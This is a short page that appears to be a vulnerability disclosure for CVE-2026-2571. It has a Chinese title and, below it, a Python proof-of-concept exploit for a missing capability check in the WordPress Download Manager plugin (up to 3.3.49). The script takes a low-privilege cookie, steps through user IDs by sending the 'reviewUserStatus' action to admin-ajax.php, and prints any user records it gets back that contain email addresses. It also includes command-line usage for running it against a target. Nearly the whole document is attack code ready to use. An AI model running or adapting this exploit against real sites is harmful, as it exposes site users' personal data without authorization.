CVE-2026-2571 WordPress Download Manager越权信息泄露漏洞

import requests import sys # CVE-2026-2571 PoC - WordPress Download Manager Unauthorized User Info Disclosure # Target: WordPress site with Download Manager plugin <= 3.3.49 def exploit(target_url, wp_admin_cookie): """ Exploit the missing capability check in reviewUserStatus function Required: Valid WordPress subscriber-level account cookie """ target = target_url.rstrip('/') # Step 1: Enumerate users by ID (starting from 1) for user_id in range(1, 20): endpoint = f"{target}/wp-admin/admin-ajax.php" data = { 'action': 'reviewUserStatus', # Vulnerable action 'user_id': user_id } headers = { 'Cookie': wp_admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200 and 'user_email' in response.text: print(f"[*] User ID {user_id} found!") print(f"[+] Response: {response.text}") return response.json() except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <wordpress_cookie>") print(f"Example: python {sys.argv[0]} http://example.com 'wordpress_abc123'") sys.exit(1) target_url = sys.argv[1] cookie = sys.argv[2] print(f"[*] Starting CVE-2026-2571 exploitation...") print(f"[*] Target: {target_url}") result = exploit(target_url, cookie) if result: print("\n[+] Exploitation successful!") else: print("\n[-] No vulnerable users found or plugin not affected")